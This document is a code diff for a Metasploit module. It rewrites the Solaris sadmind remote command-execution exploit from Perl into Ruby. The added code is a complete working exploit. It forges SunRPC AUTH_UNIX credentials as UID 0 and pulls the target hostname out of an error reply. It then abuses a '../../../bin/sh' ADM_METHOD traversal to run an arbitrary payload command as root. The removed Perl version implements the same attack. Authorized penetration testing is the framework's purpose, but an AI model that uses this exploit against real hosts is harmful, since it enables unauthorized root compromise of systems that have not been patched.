diff --git a/modules/exploits/solaris/sunrpc/solaris_sadmind_exec.rb b/modules/exploits/solaris/sunrpc/solaris_sadmind_exec.rb index fa8e7769d8..5be400dcda 100644 --- a/modules/exploits/solaris/sunrpc/solaris_sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/solaris_sadmind_exec.rb @@ -2,9 +2,9 @@ require 'msf/core' module Msf -class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote +class Exploits::Solaris::Sunrpc::SadmindExec < Msf::Exploit::Remote - include Exploit::Remote::Tcp + include Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, @@ -14,291 +14,114 @@ class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote settings of the sadmind RPC application. This server is installed and enabled by default on most versions of the Solaris operating system. - + + Vulnerable systems include solaris 2.7, 8, and 9 }, - 'Author' => [ 'vlad902 ', 'hdm', 'Brian Caswell ' ], + 'Author' => [ 'vlad902 ', 'hdm', 'cazz' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ - [ 'OSVDB', '4585'], - [ 'URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'], - [ 'MIL', '64'], - + ['OSVDB', '4585'], + ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'], + ['MIL', '64'] ], 'Privileged' => true, + 'Platform' => ['unix', 'solaris'], + 'Arch' => ARCH_CMD, 'Payload' => { - 'Space' => 512, + 'Space' => 2000, 'BadChars' => "\x00", - + 'DisableNops' => true, }, - 'Targets' => - [ - [ - 'Automatic Targetting', - { - 'Platform' => 'solaris', - 'Ret' => 0x0, - }, - ], - ], + 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Sep 13 2003', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('HOSTNAME', [false, 'Remote hostname', nil]), + OptInt.new('GID', [false, 'GID to emulate', 0]), + OptInt.new('UID', [false, 'UID to emulate', 0]) + ], self.class + ) end def exploit - connect - - handler - disconnect + sunrpc_create('udp', 100232, 10) + sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], []) + + if !datastore['HOSTNAME'] + print_status('attempting to determine hostname') + response = sadmind_request(Rex::Text.rand_text_alpha(rand(10) + 1), "true") + + if !response + print_error('no response') + return + end + + match = /Security exception on host (.*)\. USER/.match(response) + if match + hostname = match.captures[0] + print_status("found hostname: #{hostname}") + else + print_error('unable to determine hostname') + return + end + else + hostname = datastore['HOSTNAME'] + end + + response = sadmind_request(hostname, payload.encoded) + sunrpc_destroy + + if /Security exception on host/.match(response) + print_error('exploit failed') + return + else + print_good('exploit did not give us an error, this is good...') + sleep(1) + handler + end end -=begin + def sadmind_request(host, command) + header = + XDR.encode(0) * 7 + + XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \ + 4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \ + host, 'system', '../../../bin/sh') -## -# This file is part of the Metasploit Framework and may be redistributed -# according to the licenses defined in the Authors field below. In the -# case of an unknown or missing license, this file defaults to the same -# license as the core Framework (dual GPLv2 and Artistic). The latest -# version of the Framework can always be obtained from metasploit.com. -## + body = + do_int('ADM_FW_VERSION', 1) + + do_string('ADM_LANG', 'C') + + do_string('ADM_REQUESTID', '00009:000000000:0') + + do_string('ADM_CLASS', 'system') + + do_string('ADM_CLASS_VERS', '2.1') + + do_string('ADM_METHOD', '../../../bin/sh') + + do_string('ADM_HOST', host) + + do_string('ADM_CLIENT_HOST', host) + + do_string('ADM_CLIENT_DOMAIN', '') + + do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') + + do_int('ADM_FENCE', 0) + + do_string('X', '-c') + + do_string('Y', command) + + XDR.encode('netmgt_endofargs') -package Msf::Exploit::solaris_sadmind_exec; -use base "Msf::Exploit"; -use strict; -use Pex::Text; -use Pex::SunRPC; -use Pex::XDR; + request = header + XDR.encode(header.length + body.length - 326) + body -my $advanced = {}; -my $info = -{ - 'Name' => 'Solaris sadmind Command Execution', - 'Version' => '$Revision$', - 'Authors' => - [ - 'vlad902 ', - 'H D Moore ', - 'Brian Caswell ' - ], - - 'OS' => [ 'solaris' ], - 'Priv' => 1, - - 'UserOpts' => - { - 'RHOST' => [1, 'ADDR', 'The target address'], - 'RPORT' => [1, 'PORT', 'The target RPC port', 111], - 'UID' => [1, 'DATA', 'UID to emulate', 0], - 'GID' => [1, 'DATA', 'GID to emulate', 0], - }, - - 'Payload' => - { - 'Space' => 512, - 'BadChars' => "\x00", - 'Keys' => ['cmd'], - }, - - 'Description' => Pex::Text::Freeform(qq{ - This exploit targets a weakness in the default security - settings of the sadmind RPC application. This server is - installed and enabled by default on most versions of the - Solaris operating system. -}), - - 'Refs' => - [ - ['OSVDB', '4585'], - ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'], - ['MIL', '64'], - ], - - 'Targets' => [ ], - - 'Keys' => ['sadmind'], - - 'DisclosureDate' => 'Sep 13 2003', -}; - -sub new { - my $class = shift; - my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); - return($self); -} - -sub Check { - my $self = shift; - - my $ret_val; - if(($ret_val = sadmind_exec($self, "true")) == -1) - { - return $self->CheckCode('Generic'); - } - - if($ret_val =~ m/Security exception on host (.*)\. USER/) - { - $self->PrintLine("[*] The server reports access denied for sadmind."); - return $self->CheckCode('Safe'); - } - - $self->PrintLine("[*] The server appears to be vulnerable."); - return $self->CheckCode('Confirmed'); -} - -sub Exploit { - my $self = shift; - my $shellcode = $self->GetVar('EncodedPayload')->RawPayload; - - if(sadmind_exec($self, $shellcode) == -1) - { - return; - } - - sleep(3); -} - -sub sadmind_exec { - my ($self, $cmd) = @_; - - my %data; - if(Pex::SunRPC::Clnt_create(\%data, $self->GetVar('RHOST'), $self->GetVar('RPORT'), 100232, 10, "udp", "udp") == -1) - { - $self->PrintLine("[*] RPC request failed (sadmind)."); - return -1; - } - Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []); - - my $ret_val; - if(($ret_val = sadmind_request($self, \%data, "m3t45p10i7", "true")) == -1) - { - return -1; - } - - my $target_hostname; - if($ret_val && $ret_val =~ m/Security exception on host (.*)\. USER/) - { - $target_hostname = $1; - } - else - { - $self->PrintLine("[*] Could not obtain target hostname."); - return -1; - } - - $self->PrintLine("[*] Using hostname '$target_hostname'."); - Pex::SunRPC::Authunix_create(\%data, $target_hostname, $self->GetVar('UID'), $self->GetVar('GID'), []); - - if(($ret_val = sadmind_request($self, \%data, $target_hostname, $cmd)) == -1) - { - return -1; - } - - Pex::SunRPC::Clnt_destroy(\%data); - - return $ret_val; -} - -sub sadmind_request { - my ($self, $data_ref, $hostname, $command) = @_; - - my $request_header = - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(6). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(4). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(4). - Pex::XDR::Encode_int(0x7f000001). - Pex::XDR::Encode_int(100232). - Pex::XDR::Encode_int(10). - Pex::XDR::Encode_int(4). - Pex::XDR::Encode_int(0x7f000001). - Pex::XDR::Encode_int(100232). - Pex::XDR::Encode_int(10). - Pex::XDR::Encode_int(17). - Pex::XDR::Encode_int(30). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_string($hostname). - Pex::XDR::Encode_string("system"). - Pex::XDR::Encode_string("../../../bin/sh"); - - my $request_body = - do_int("ADM_FW_VERSION", 1). - do_string("ADM_LANG", "C"). - do_string("ADM_REQUESTID", "00009:000000000:0"). - do_string("ADM_CLASS", "system"). - do_string("ADM_CLASS_VERS", "2.1"). - do_string("ADM_METHOD", "../../../bin/sh"). - do_string("ADM_HOST", $hostname). - do_string("ADM_CLIENT_HOST", $hostname). - do_string("ADM_CLIENT_DOMAIN", ""). - do_string("ADM_TIMEOUT_PARMS", "TTL=0 PTO=20 PCNT=2 PDLY=30"). - do_int("ADM_FENCE", 0). - do_string("X", "-c"). - do_string("Y", $command). - Pex::XDR::Encode_string("netmgt_endofargs"); - - my $request = - $request_header. - Pex::XDR::Encode_int(length($request_header) + length($request_body) - 326). - $request_body; - - if(Pex::SunRPC::Clnt_call($data_ref, 1, $request) == -1) - { - $self->PrintLine("[*] sadmind request failed."); - return -1; - } - - Pex::XDR::Decode_int(\$$data_ref{'data'}); - Pex::XDR::Decode_int(\$$data_ref{'data'}); - my $string = Pex::XDR::Decode_string(\$$data_ref{'data'}); - - return $string; -} - -sub do_string { - my ($str1, $str2) = @_; - - my $buf = - Pex::XDR::Encode_string($str1). - Pex::XDR::Encode_int(9). - Pex::XDR::Encode_int(length($str2) + 1). - Pex::XDR::Encode_string($str2). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0); - - return $buf; -} - -sub do_int { - my ($str1, $int1) = @_; - - my $buf = - Pex::XDR::Encode_string($str1). - Pex::XDR::Encode_int(3). - Pex::XDR::Encode_int(4). - Pex::XDR::Encode_int($int1). - Pex::XDR::Encode_int(0). - Pex::XDR::Encode_int(0); - - return $buf; -} - -=end + ret = sunrpc_call(1, request) + return XDR.decode!(ret, Integer, Integer, String)[2] + end + def do_string(str1, str2) + XDR.encode(str1, 9, str2.length + 1, str2, 0, 0) + end + def do_int(str, int) + XDR.encode(str, 3, 4, int, 0, 0) + end end end